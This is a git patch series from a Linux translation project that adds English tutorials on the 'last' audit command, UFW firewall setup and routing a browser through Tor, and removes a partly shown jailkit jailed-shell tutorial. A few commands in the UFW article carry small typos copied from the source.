Linux.md | 180 ++++++++++++ ...-complicated FireWall in Debian or Ubuntu.md | 273 ++++++++++++++++++ ...e Tor On Ubuntu or Debian or Linux Mint.md | 72 +++++ 3 files changed, 525 insertions(+) create mode 100644 sources/Built in Audit Trail Tool – Last Command in Linux.md create mode 100644 sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md create mode 100644 sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md diff --git a/sources/Built in Audit Trail Tool – Last Command in Linux.md b/sources/Built in Audit Trail Tool – Last Command in Linux.md new file mode 100644 index 0000000000..f87ba21da2 --- /dev/null +++ b/sources/Built in Audit Trail Tool – Last Command in Linux.md @@ -0,0 +1,180 @@ +Built in Audit Trail Tool – Last Command in Linux +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/12/linux-last-command.jpg) + +If you are working as a server administrator, you may understand that you have to protect your server. Not only from the outside, but you have to protect it from the inside. Linux has one built-in command to see who is the last logged in user into your server. + +The command is **last**. This command is **very useful for audit trail**. Let’s start to see what can last to do for you. + +### What is the function of Last command ### + +**Last** display a list of all user logged in (and out) from **/var/log/wtmp** since the file was created. This file is binary file which cannot view by text editor such as Vi, Joe or another else. This trick is pretty smart because user (or root) can not modify the file as they want. + +Last gives you information the name of all users logged in, its tty, IP Address (if the user doing a remote connection) date – time, and how long the user logged in. + +### How to run Last ### + +You just need to type **last** on your console. Here’s the sample : + + $ last + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +Here’s how to read last information : + +- The first column tell who are the user +- The second column give us information about how the user is connected + +> pts/0 (pseudo terminal) means that the user connect via remote connections such as SSH or telnet +> +> tty (teletypewriter) means that the user connect via direct connection to the computer or local terminal +> +> Exception for reboot activity the status will be shown is system boot + +- The third column **show where the user come from**. If the user connect from remote computer, you will see a hostname or an IP Address. If you see :0.0 or nothing it means that the user is connect via local terminal. Exception for reboot activity, the kernel version will be shown as the status +- The remaining columns display **when the log activity has happened**. Numbers in the bracket tell us how many hours and minutes the connection was happened + +### Some examples of Last command on day-to-day operation ### + +#### Limit the number of line shown #### + +When you have a lot of lines to show, you can limit how many lines do you want to see. Use **-n parameter** to do it. + + $ last -n 3 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +**-n parameter** will make last command to display 3 lines starting from the current time and backwards + +#### Don’t display the hostname #### + +Use **-R parameter** to do is. Here’s the sample : + + $ last -R + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) + +As you see, now there is no information about hostname or IP Address + +#### Display the hostname in the last column #### + +To do this, we can use **-a parameter** + + $ last -a + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + pungki tty1 Mon Dec 2 09:31 still logged in :0.0 + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) 2.6.32-358.23.2.el6.i686 + +Now the hostname information such as 10.0.76.162 will be placed in the last column. + +#### Print full login and logout time and dates #### + +You can use **-F parameter** for this. Here’s a sample. + + $ last -F + + leni pts/0 10.0.76.162 Mon Dec 2 12:32:24 2013 – Mon Dec 2013 13:25:24 2013 (00:53) + +#### Print specific user name #### + +If you want to trace specific user, you can print it specifically. Put the name of user behind last command. + + $ last leni + + leni tty1 Mon Dec 2 18-42 still logged in + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + +Or if you want to know when **reboot** is done, you can also display it + + $ last reboot + + reboot system boot Mon Dec 2 09:20 - 16:55 (07:34) + reboot system boot Sun Dec 1 04:26 - 04:27 (00:01) + reboot system boot Wed Nov 27 20:27 - 01:24 (04:57) + reboot system boot Tue Nov 26 21:06 - 06:13 (09:06) + +#### Print spesific tty / pts #### + +Last can also print information about specific tty / pts. Just put the tty name or pty name behind the last command. Here are some sample outputs : + + $ last tty1 + + pungki tty1 Mon Dec 2 09:31 still logged in + pungki tty1 Mon Dec 2 04:26 – down (00:00) + pungki tty1 Mon Dec 2 04:07 – down (00:00) + pungki tty1 Sun Dec 1 18:55 – 04:07 (09:12) + + $ last pts/0 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki pts/0 :0.0 Wed Nov 27 20:28 – down (04:56) + +When you see **down value** – such as the second line above – , it means that the user was logged in from specific time until the system is reboot or shutdown. + +#### Use another file than /var/log/wtmp #### + +By default, last command will parse information from **/var/log/wtmp**. If you want t**he last command** parse from another file, you can use **-f parameter**. For example, you may rotate the log after a certain condition. Let’s say the previous file is named **/var/log/wtmp.1** . Then the last command will be like this. + + $ last -f /var/log/wtmp.1 + +#### Display the run level changes #### + +There is **-x parameter** if you want to display run level changes. Here’s a sample output : + + pungki tty1 Mon Dec 2 19:21 still logged in + runlevel (to lvl 3) 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + reboot system boot 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + shutdown system down 2.6.32-358.23.2 Mon Dec 2 18:56 – 19:20 (00:23) + runlevel (to lvl 0) 2.6.32-358.23.2 Mon Dec 2 18:56 – 18:56 (00:00) + leni tty1 Mon Dec 2 18:42 – down (00:00) + +You can see that there are two entries of run level. Runlevel which has **to lvl 3** entry means the system is running on full console mode. No active X Window or GUI. Meanwhile, when the system is **shutdown**, Linux us **run level 0**. That’s why last show you **to lvl 0** entry + +#### View bad logins #### + +While **last** command logs successful logins, then **lastb** command **record failed login attempts**. You **must have root** access to run lastb command. Here’s a sample output from lastb command. Lastb will parse information from /var/log/btmp. + + # lastb + + leni tty1 Mon Dec 2 22:12 – 22:12 (00:00) + rahma tty1 Mon Dec 2 22:11 – 22:11 (00:00) + +#### Rotate the logs #### + +Since **/var/log/wtmp** record every single log in activities, the size of the file may grow quickly. By default, Linux will **rotate /var/log/wtmp** every month. The detail of rotation activity is put in /etc/logrotate.conf file. Here’s the content of my **/etc/logrotate.conf** file. + + /var/log/wtmp { + 　　monthly + 　　create 0664 root umtp + 　　minsize 1M + 　　rotate 1 + } + +And for **/var/log/btmp**, here’s default configuration of rotate activity + + /var/log/btmp { + 　　missingok + 　　monthly + 　　create 0600 root umtp + 　　minsize 1M + 　　rotate 1 + } + +### Conclusion ### + +You can combine those parameters to custom the output of last and lastb. All parameter **which run on last** command, **also run on** lastb command. For more detail, please visit last manual page by typing **man last** on your console. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-last-command/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md b/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md new file mode 100644 index 0000000000..0bcfb77388 --- /dev/null +++ b/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md @@ -0,0 +1,273 @@ +How to Install and Configure UFW – An Un-complicated FireWall in Debian/Ubuntu +================================================================================ +Since computers are connected to each other, services are growing fast. **Email, Social Media, Online Shop, Chat** until **Web Conferencing** are services that used by user. But on the other side this connectivity just likes a double-side knife. It’s also possible to send bad messages to those computers like **Virus, malware, trojan-apps** are one of them. + +![UFW Firewall for Ubuntu](http://www.tecmint.com/wp-content/uploads/2013/12/UFW-Firewall.jpeg) + +*Install UFW Firewall* + +The Internet, as the biggest computer network is not always fill with good people. In order to make sure our computers / servers are safe, we need to protect it. + +One of the must have component on your computer / servers is **Firewall**. From **Wikipedia**, a definition is: + +> In computing, a firewall is a software or hardware-based network security system that controls the incoming and outgoing network traffic by analysing the data packets and determining whether they should be allowed through or not, based on applied rule set. + +**Iptables** is one of the firewall that widely used by servers. It is a program used to manage incoming and outgoing traffic in the server based on a set of rules. Generally, only trusted connection is allowed to enter the server. But **IPTables** is running at console mode and it’s complicated. Those who’re familiar with iptables rules and commands, they can read the following article that describes how to use iptables firewall. + +- [Basic IPTables (Linux Firewall) Guide][1] + +### Installation of UFW Firewall in Debian/Ubuntu ### + +To reduce the complexity of how-to setting **IPTables**, there is a lot of fronted. If you’re running **Ubuntu** Linux, you will find **ufw** as a default firewall tool. Lets start to explore about **ufw** firewall. + +### What is ufw ### + +The **ufw (Uncomplicated Firewall)** is an frontend for most widely used **iptables firewall** and it is well comfortable for host-based firewalls. ufw gives a framework for managing **netfilter**, as well as provides a command-line interface for controlling the firewall. It provides user friendly and easy to use interface for Linux newbies who are not much familiar with firewall concepts. + +While, on the other side same complicated commands helps administrators it set complicated rules using command line interface. The **ufw** is an upstream for other distributions such as **Debian, Ubuntu** and **Linux Mint**. + +#### Basic Usage ufw #### + +First, check if **ufw** is installed using following command. + + $ sudo dpkg --get-selection | grep ufw + + ufw install + +If it’s not installed, you can install it using **apt** command as shown below. + + $ sudo apt-get install ufw + +Before you use, you should check whether **ufw** is running or not. Use the following command to check it. + + $ sudo ufw status + +If you found Status: **inactive**, it mean it’s not active or disable. + +#### Enabling / Disabling ufw #### + +To enable it, you just need to type the following command at the terminal. + + $ sudo ufw enable + + Firewall is active and enabled on system startup + +To disable it, just type. + + $ sudo ufw disable + +#### List the current ufw rules #### + +After the firewall is activated you can add your rules into it. If you want to see what are the default rules, you can type. + + $ sudo status verbose + +##### Sample Output ##### + + Status: active + Logging: on (low) + Default: deny (incoming), allow (outgoing) + New profiles: skip + $ + +#### How to Add ufw rules #### + +As you see, by default every incoming connection is denied. If you want to remote your machine then you have to allow proper port. For example you want to allow ssh connection. Here’s the command to allow it. + +#### Allow Access #### + + $ sudo ufw allow ssh + + [sudo] password for pungki : + Rule added + Rule added (v6) + $ + +If you check the status again, you will see an output like this. + + $ sudo ufw status + + To Action From + -- ----------- ------ + 22 ALLOW Anywhere + 22 ALLOW Anywhere (v6) + +If you have a lot of rules, and want to put numbers on every rules on the fly, use parameter numbered. + + $ sudo ufw status numbered + + To Action From + ------ ----------- ------ + [1] 22 ALLOW Anywhere + [2] 22 ALLOW Anywhere (v6) + +The first rule says that incoming connection to **port 22** from **Anywhere**, both **tcp** or **udp** packets is allowed. What if you want to allow **tcp** packet only? Then you can add the parameter **tcp** after the **port** number. Here’s an example with sample output. + + $ sudo ufw allow ssh/tcp + + To Action From + ------ ----------- ------ + 22/tcp ALLOW Anywhere + 22/tcp ALLOW Anywhere (v6) + +#### Deny Access #### + +The same tricks is applied to Deny rule. Let say you want to deny ftp rule. So you only have to type. + + $ sudo ufw deny ftp + + To Action From + ------ ----------- ------ + 21/tcp DENY Anywhere + 21/tcp DENY Anywhere (v6) + +### Adding Specific Port ### + +Sometimes we have a custom port which is not follow any standards. Let’s say we change the **ssh** port on our machine from **22**, into **2290**. Then to allow port **2290**, we can add it like this. + + $ sudo ufw allow + + To Action From + -- ----------- ------ + 2290 ALLOW Anywhere + 2290 ALLOW Anywhere (v6) + +It also possible for you to add **port-range** into the rule. If we want to open port from **2290 – 2300** with **tcp** protocol, then the command will be like this. + + $ sudo ufw allow 2290:2300/tcp + + To Action From + ------ ----------- ------ + 2290:2300/tcp ALLOW Anywhere + 2290:2300/tcp ALLOW Anywhere (v6) + +while if you want to use **udp**, just use the following command. + + $ sudo ufw allow 2290:2300/udp + + To Action From + ------ ----------- ------ + 2290:2300/udp ALLOW Anywhere + 2290:2300/udp ALLOW Anywhere (v6) + +Please remember that you have to put ‘**tcp**’ or ‘**udp**’ explicitly otherwise you will get an error message similar to below. + + ERROR: Must specify ‘tcp’ or ‘udp’ with multiple ports + +### Adding Specific IP ### + +Previously we have added rules based on **service** or **port**. Ufw also allow you to add rules based on **IP Address**. Here’s the sample command. + + $ sudo ufw allow from 192.168.0.104 + +You can also use a subnet mask to wider the range. + + $ sudo ufw allow form 192.168.0.0/24 + + To Action From + -- ----------- ------ + Anywhere ALLOW 192.168.0.104 + Anywhere ALLOW 192.168.0.0/24 + +As you can see, from parameter will only limit the source of connection. While the destination – which is represented by **To** column – is **Anywhere**. You can also manage the destination using ‘**To**‘ parameter. Let’s see the sample to allow access to **port 22 (ssh)**. + + $ sudo ufw allow to any port 22 + +The above command will allow access from anywhere and from any protocol to **port 22**. + +### Combining Parameters ### + +For more specific rules, you can also combining IP Address, **protocol** and **port**. Let’s say we want to create rule that limit the connection only from IP 192.168.0.104, only protocol **tcp** and to port **22**. Then the command will be like below. + + $ sudo ufw allow from 192.168.0.104 proto tcp to any port 22 + +Syntax to create deny rule is similar with allow rule. You only need to change parameter from **allow** to **deny**. + +### Deleting Rules ### + +Sometime you may need to delete your existing rule. Once again with **ufw** it is easy to delete rules. From above sample, you have a rule below and you want to delete it. + + To Action From + -- ----------- ------ + 22/tcp ALLOW 192.168.0.104 + 21/tcp ALLOW Anywhere + 21/tcp ALLOW Anywhere (v6) + +There are two methods of deleting rules. + +**Method 1** + +The below command will **delete** rules that match service **ftp**. So the **21/tcp** which mean **ftp** port will be deleted. + + $ sudo ufw delete allow ftp + +**Method 2** + +But when you tried to delete the first rule at the above example using below command. + + $ sudo ufw delete allow ssh + + Or + + $ sudo ufw delete allow 22/tcp + +You may find an error message such as. + + Could not delete non-existent rule + Could not delete non-existent rule (v6) + +Then you can do this trick. As we mentioned above, you can show the number of rule to indicate which rule that we want to delete. Let we show it to you. + + $ sudo ufw status numbered + + To Action From + -- ----------- ------ + [1] 22/tcp ALLOW 192.168.0.104 + [2] 21/tcp ALLOW Anywhere + [3] 21/tcp ALLOW Anywhere (v6) + +Then you can delete the first rule using. Press “**y**” will permanently delete the rule. + + $ sudo ufw delete 1 + + Deleting : + Allow from 192.168.0.104 to any port 22 proto tcp + Proceed with operation (y|n)? y + +From those methods you will see the difference. **Method 2** will ask **user confirmation** before deleting the rule while **method 1** is not. + +### How to Reset Rules ### + +In some situation, you may want to **delete / reset** all rules. You can do it by typing. + + $ sudo ufw reset + + Resetting all rules to installed defaults. Proceed with operation (y|n)? y + +If you press “**y**”, then **ufw** will backup all existing rules before doing the reset your ufw. Resetting the rules will also disable your firewall. You need to enabled it again if you want to use it. + +### Advanced Functionality ### + +As I stated above, the ufw firewall can able to do whatever that iptables can do. This is accomplished by using various sets of rules files, which are nothing more than **iptables-restore** appropriate text files. Fine tuning ufw and/or placing additional iptables commands not allowed via the ufw command is a matter of editing several text files. + +- /etc/default/ufw: The main configuration for default policies, IPv6 support and kernel modules. +- /etc/ufw/before[6].rules: rules in these files are calculate before any rules added via the ufw command. +- /etc/ufw/after[6].rules: rules in these files are calculate after any rules added via the ufw command. +- /etc/ufw/sysctl.conf: kernel network tunables. +- /etc/ufw/ufw.conf: sets whether or not ufw is enabled on boot and sets the LOGLEVEL. + +### Conclusion ### + +**UFW** as a front-end to iptables surely make an easy interface to user. User don’t need to remember complicated iptables syntax. **UFW** also use ‘**plain english**‘ as its parameter. + +**Allow, deny, reset** are one of them. I believe that there are many more iptables front-end out there. But definitely ufw is one of the best alternative for users who want to setup their firewall fast, easy and of course secure. Please visit **ufw manual page** by typing **man ufw** for more detail. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/how-to-install-and-configure-ufw-firewall/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/ \ No newline at end of file diff --git a/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md b/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md new file mode 100644 index 0000000000..7fec6d4ddf --- /dev/null +++ b/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md @@ -0,0 +1,72 @@ +onfigure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint +================================================================================ +**Tor**, **T**he **O**nion **R**outer, is a network of Virtual Tunnels that allows users to communicate securely and as well as anonymously over Internet. Tor allows organizations and individuals to share information over public networks without compromising their privacy. We can use Tor to keep websites from tracking us and also our family members, or to connect to news sites, instant messaging services, or the websites which are blocked by the Internet providers and Network Administrators. + +Tor was originally designed, implemented, and deployed as a third-generation [onion routing project of the U.S. Naval Research Laboratory][1]. It was originally developed with the U.S. Navy in mind, for the primary purpose of protecting government communications. Today, it is used every day for a wide variety of purposes by normal people, the military, journalists, law enforcement officers, activists, and many others. + +In this quick how-to let us learn how to use Tor with our browsers. The steps provided here were tested on Ubuntu 13.04 Desktop, but it should work on all Debian/Ubuntu and its derivatives. + +### Install Tor & Vidalia On Ubuntu / Debian / Linux Mint ### + +Tor is available in the default repositories of Debian/Ubuntu, but they might be bit outdated. So add Tor repository to your distribution source lists. + +Edit file **/etc/apt/sources.list**, + + $ sudo nano /etc/apt/sources.list + +Add the following lines depending upon your distribution version. As i am testing this on my Ubuntu 13.04 desktop, i added the following lines. + + [...] + deb http://deb.torproject.org/torproject.org raring main + +Save and close the file. If you’re using Ubuntu 13.10, then the lines should be, + + deb http://deb.torproject.org/torproject.org saucy main + +For Debian 7 Wheezy, + + deb http://deb.torproject.org/torproject.org wheezy main + +Add the gpg key using following commands: + + $ gpg --keyserver keys.gnupg.net --recv 886DDD89 + $ gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - + +Update the repository list and install vidalia using commands: + + $ sudo apt-get update + $ sudo apt-get install tor vidalia deb.torproject.org-keyring + +During installation, you’ll be asked which user should be able to control Tor service. Select the user and click Ok. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/sk@sk-_013.jpg) + +Now Vidalia is installed and running. + +### Configure Firefox Browser ### + +Open your browser. Go to **Edit -> Preferences -> Advanced -> Network ->Settings**. Select manual Proxy Configuration. In the SOCKS Host column, enter **localhost** or **127.0.0.1** and in the port column enter **9050** as shown in the below screenshot. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Firefox-Preferences_015.jpg) + +Now point your browser with URL **https://check.torproject.org/**. You will see a green message that indicates: “**Congratulations. This browser is configured to use Tor**”. Red message indicate that Tor is not setup. Refer the following screenshot. + +![Are you using Tor? - Mozilla Firefox_014](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Are-you-using-Tor-Mozilla-Firefox_014.jpg) + +The same settings are applicable for all browsers, just open the Browser settings/preferences window, find the Network settings, Enter **127.0.0.1** in proxy server column and **9050** in port box. To disable Tor, Select **Use System Proxy settings** on browser settings. + +**Note**: If you want to use Tor for anonymous web browsing, please read our article about [Tor Browser Bundle][2]. It comes with readily configured Tor and a browser patched for better anonymity. To use SOCKS directly (for instant messaging, Jabber, IRC, etc), you can point your application directly at Tor (localhost port 9050), but see [this FAQ entry][3] for why this may be dangerous. + +That’s it. Good Luck! Stay Safe! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/configure-browser-use-tor-ubuntu-debian-linux-mint/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.onion-router.net/ +[2]:http://www.unixmen.com/protect-your-online-privacy-with-tor-browser/ +[3]:https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#SOCKSAndDNS \ No newline at end of file From a5823b765ae524ccd9040b413eeda9cdb50f181b Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 5 Dec 2013 15:52:44 +0800 Subject: [PATCH 131/148] =?UTF-8?q?20131205-3=20=E9=80=89=E9=A2=98?= =?UTF-8?q?=E4=BF=AE=E6=AD=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...our Browser To Use Tor On Ubuntu or Debian or Linux Mint.md} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename sources/{onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md => Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md} (98%) diff --git a/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md b/sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md similarity index 98% rename from sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md rename to sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md index 7fec6d4ddf..2499d6355e 100644 --- a/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md +++ b/sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md @@ -1,4 +1,4 @@ -onfigure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint +Configure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint ================================================================================ **Tor**, **T**he **O**nion **R**outer, is a network of Virtual Tunnels that allows users to communicate securely and as well as anonymously over Internet. Tor allows organizations and individuals to share information over public networks without compromising their privacy. We can use Tor to keep websites from tracking us and also our family members, or to connect to news sites, instant messaging services, or the websites which are blocked by the Internet providers and Network Administrators. From 51d2f447c1d9d8ba41c41e6af5e3db8a195a505a Mon Sep 17 00:00:00 2001 From: zsJacky Date: Thu, 5 Dec 2013 16:44:55 +0800 Subject: [PATCH 132/148] translating --- sources/Setup FTP Server On openSUSE 13.1.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/Setup FTP Server On openSUSE 13.1.md b/sources/Setup FTP Server On openSUSE 13.1.md index 821cf44099..a71f7baae5 100644 --- a/sources/Setup FTP Server On openSUSE 13.1.md +++ b/sources/Setup FTP Server On openSUSE 13.1.md @@ -1,3 +1,5 @@ +translating by zsJacky + Setup FTP Server On openSUSE 13.1 ================================================================================ **vsftpd** (**V**ery **S**ecure **F**ile **T**ransport **P**rotocol **D**aemon) is a secure, fast FTP server for Unix/Linux systems. In this how-to article, let us see how to setup a basic FTP server using vsftpd on openSUSE 13.1. @@ -182,7 +184,7 @@ That’s it for now. Your FTP server is ready to use. Enjoy! via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/ -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[zsJacky](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From f419be2c3af5e8776f0bb48120ec245846548cda Mon Sep 17 00:00:00 2001 From: KayGuoWhu Date: Thu, 5 Dec 2013 20:45:43 +0800 Subject: [PATCH 133/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by=20KayG?= =?UTF-8?q?uoWhu?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/KDE vs GNOME- Settings, Apps, Widgets.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/KDE vs GNOME- Settings, Apps, Widgets.md b/sources/KDE vs GNOME- Settings, Apps, Widgets.md index 9dbcc7697c..59e7026d05 100644 --- a/sources/KDE vs GNOME- Settings, Apps, Widgets.md +++ b/sources/KDE vs GNOME- Settings, Apps, Widgets.md @@ -1,3 +1,4 @@ +[translating] BY KayGuoWhu KDE vs GNOME: Settings, Apps, Widgets ===================================== From 67e37b5c0349f0b0fce68121e705c064605f3096 Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Thu, 5 Dec 2013 21:31:20 +0800 Subject: [PATCH 134/148] =?UTF-8?q?=E5=B7=B2=E7=BF=BB=E8=AF=91=E3=80=80by?= =?UTF-8?q?=20Luox?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...p a jailed shell with jailkit on ubuntu.md | 221 --------------- ...p a jailed shell with jailkit on ubuntu.md | 266 ++++++++++++++++++ 2 files changed, 266 insertions(+), 221 deletions(-) delete mode 100644 sources/Setup a jailed shell with jailkit on ubuntu.md create mode 100644 translated/Setup a jailed shell with jailkit on ubuntu.md diff --git a/sources/Setup a jailed shell with jailkit on ubuntu.md b/sources/Setup a jailed shell with jailkit on ubuntu.md deleted file mode 100644 index 806d293e9f..0000000000 --- a/sources/Setup a jailed shell with jailkit on ubuntu.md +++ /dev/null @@ -1,221 +0,0 @@ - 我不入监狱　　谁入监狱 - -Setup a jailed shell with jailkit on ubuntu -================================================================================ -### Jailed Shell and Jailkit ### - -A jailed shell is a kind of limited shell that provides the user with a very real looking shell but does not allow him to mess with/view/modify any parts of the real file systems. The file system inside the shell is different from the actual file system of the underlying system. Such a functionality is achived through chroot and finds many kinds of applications. For example to setup a linux shell for users to just "play with". Or run some program with full functionality but in a limited environment and so on. - -In this tutorial we are going to talk about setting up a jailed shell quickly with jailkit on ubuntu. Jailkit is helper program that allows to quickly setup a jailed shell, jail users inside it, and configure programs to run from the jailed environment. - -Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1] - -We have already discussed about installing jailkit on ubuntu so check out that post. - -### Setup jailed shell ### - -#### 1. Setup the jail environment #### - -There needs to be a directory where the whole jail environment will be setup. Lets do it in /opt/jail. This can be whatever. - - $ sudo mkdir /opt/jail - -Root should own this directory. So chown it out. - - $ sudo chown root:root /opt/jail - -#### 2. Setup the programs to make available inside the jail #### - -All the programs that need to be available in the jail need to be copied inside it using the jk_init command. - -Example - - $ sudo jk_init -v /jail basicshell - $ sudo jk_init -v /jail editors - $ sudo jk_init -v /jail extendedshell - $ sudo jk_init -v /jail netutils - $ sudo jk_init -v /jail ssh - $ sudo jk_init -v /jail sftp - $ sudo jk_init -v /jail jk_lsh - -Or at one go - - $ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp - -The names like basicshell , editors , netutils are groups that contain multiple programs. Each group is a set of executable files, libraries etc to be copied into the shell. For example, the section **basicshell** provides many programs like bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep etc in the jail. - -For a complete list of sections that can be setup, have a look at /etc/jailkit/jk_init.ini. - - jk_lsh (Jailkit limited shell) - is an important section, and must be added. - -#### 3. Create the user who will be jailed #### - -Need a user to put inside the jail. Lets create one - - $ sudo adduser robber - Adding user `robber' ... - Adding new group `robber' (1005) ... - Adding new user `robber' (1006) with group `robber' ... - Creating home directory `/home/robber' ... - Copying files from `/etc/skel' ... - Enter new UNIX password: - Retype new UNIX password: - passwd: password updated successfully - Changing the user information for robber - Enter the new value, or press ENTER for the default - Full Name []: - Room Number []: - Work Phone []: - Home Phone []: - Other []: - Is the information correct? [Y/n] y - -Note that this is a normal user who is created in the actual filesystem and not inside the jail. -In the next step this user shall be imprisoned inside the jail. - -At this point if you take a look at /etc/passwd you get to see an entry at the end that looks like this - - robber:x:1006:1005:,,,:/home/robber:/bin/bash - -This is our new user and the last part /bin/bash indicates that the user has a normal shell access on the system, if he logs in. - -#### 4. Jail the user #### - -Now its time to put the user inside the jail. - - $ sudo jk_jailuser -m -j /opt/jail/ robber - -By doing this the user robber has now been jailed. - -Now if you take a look at /etc/passwd the last entry would look like this - - robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh - -Note that the last 2 parts that indicate the home user and the shell type have changed. The home directory of the user is now inside the jail environment at /opt/jail. The shell of the user is now a special program called jk_chrootsh that will provide the jailed shell. - -It is this particular shell called jk_chrootsh that takes the user inside the jail, everytime he logs onto the system. - -The jail setup by now is nearly done. But if you try to connect to id from ssh, it will fail like this : - - $ ssh robber@localhost - robber@localhost's password: - Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) - - * Documentation: https://help.ubuntu.com/ - - 13 packages can be updated. - 0 updates are security updates. - - *** /dev/sda7 will be checked for errors at next reboot *** - *** /dev/sda8 will be checked for errors at next reboot *** - - Last login: Sat Jun 23 12:45:13 2012 from localhost - Connection to localhost closed. - $ - -The connection shall close. This happens because the user actually has a limited shell. - -#### 5. Give bash shell to user inside the jail #### - -The next important thing to do is to give the user a proper bash shell, but inside the jail. -Open the following file - - /opt/jail/etc/passwd - -Its the password file inside the jail. It would look somewhat like this - - root:x:0:0:root:/root:/bin/bash - robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh - -Change the /usr/sbin/jk_lsh to /bin/bash - - root:x:0:0:root:/root:/bin/bash - robber:x:1006:1005:,,,:/home/robber:/bin/bash - -Save the file and exit. - -#### 6. Login to the jail #### - -So now its time to login into the jail again - - $ ssh robber@localhost - robber@localhost's password: - Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) - - * Documentation: https://help.ubuntu.com/ - - 13 packages can be updated. - 0 updates are security updates. - - *** /dev/sda7 will be checked for errors at next reboot *** - *** /dev/sda8 will be checked for errors at next reboot *** - - Last login: Sat Jun 23 12:46:01 2012 from localhost - bash: groups: command not found - I have no name!@desktop:~$ - -The jail says 'I have no name!' , ha ha. Now we have a fully functional bash shell but inside the jail. - -Now check the environment by moving around. The root / of the jailed environment is /opt/jail of the real file system. But its only we who knows that, not the jailed user. - - I have no name!@desktop:~$ cd / - I have no name!@desktop:/$ ls - bin dev etc home lib lib64 run usr var - I have no name!@desktop:/$ - -Also only the commands that were copied via jk_cp sections will be available in this jail. - -If the login fails, then check /var/log/auth.log for error messages. - -Now try running some network command like wget or anything similar. - - $ wget http://www.google.com/ - -If you get an error like this : - - $ wget 